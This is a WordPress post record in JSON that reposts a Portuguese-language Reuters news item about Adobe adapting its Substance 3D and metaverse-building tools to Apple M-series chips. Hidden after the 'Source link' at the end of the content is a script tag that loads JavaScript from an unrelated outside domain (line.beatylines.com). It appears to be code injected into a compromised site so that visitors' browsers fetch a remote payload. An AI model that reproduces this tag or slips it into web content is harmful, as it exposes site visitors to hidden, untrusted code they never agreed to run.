{"id":1753,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/adobe-reformula-ferramentas-de-construcao-de-metaverso-para-trabalhar-com-chips-da-apple-14-06-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"adobe-reformula-ferramentas-de-construcao-de-metaverso-para-trabalhar-com-chips-da-apple-14-06-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/adobe-reformula-ferramentas-de-construcao-de-metaverso-para-trabalhar-com-chips-da-apple-14-06-2022\/","title":{"rendered":"Adobe reformula ferramentas de constru\u00e7\u00e3o de metaverso para trabalhar com chips da Apple &#8211; 14\/06\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Por Stephen Nellis<\/p>\n<p>S\u00c3O FRANCISCO, Estados Unidos (Reuters) &#8211; A Adobe disse nesta ter\u00e7a-feira que retrabalhou v\u00e1rias ferramentas voltadas \u00e0 cria\u00e7\u00e3o de conte\u00fado tridimensional para torn\u00e1-las compat\u00edveis com computadores da Apple equipados com chips da s\u00e9rie &#8220;M&#8221;, da pr\u00f3pria criadora do iPhone.<\/p>\n<p>A Adobe vem trabalhando em ferramentas para desenvolvimento de mundos e objetos tridimensionais usados \u200b\u200bem videogames e em metaversos.<\/p>\n<p>A companhia tamb\u00e9m adquiriu a ferramenta Substance 3D em 2019, quando comprou a empresa francesa Allegorithmic. A ferramenta ajuda criadores de filmes e de videogames a apresentarem objetos digitais com uma ampla variedade de texturas realistas, como madeira ou couro.<\/p>\n<p>Embora os laptops e desktops da Apple sejam bastante usados \u200b\u200bem artes gr\u00e1ficas, desenvolvedores de videogames ainda tendem a confiar em PCs para seus trabalhos. Mas os novos chips da Apple trazem mais poder de processamento gr\u00e1fico e a Adobe planeja aproveit\u00e1-lo ao m\u00e1ximo, disse Fran\u00e7ois Cottin, diretor de marketing da Adobe.<\/p>\n<p>&#8220;Para esses tipos de uso, a integra\u00e7\u00e3o vertical \u00e9 fundamental, desde o aplicativo at\u00e9 o chip&#8221;, disse Cottin. &#8220;Estamos trabalhando de perto com a Apple. Acho que o Substance 3D definitivamente representa isso.&#8221;<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/reuters\/2022\/06\/14\/adobe-reformula-ferramentas-de-construcao-de-metaverso-para-trabalhar-com-chips-da-apple.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Por Stephen Nellis S\u00c3O FRANCISCO, Estados Unidos (Reuters) &#8211; A Adobe disse nesta ter\u00e7a-feira que retrabalhou v\u00e1rias ferramentas voltadas \u00e0 cria\u00e7\u00e3o de conte\u00fado tridimensional para torn\u00e1-las compat\u00edveis com computadores da Apple equipados com chips da s\u00e9rie &#8220;M&#8221;, da pr\u00f3pria criadora do iPhone. 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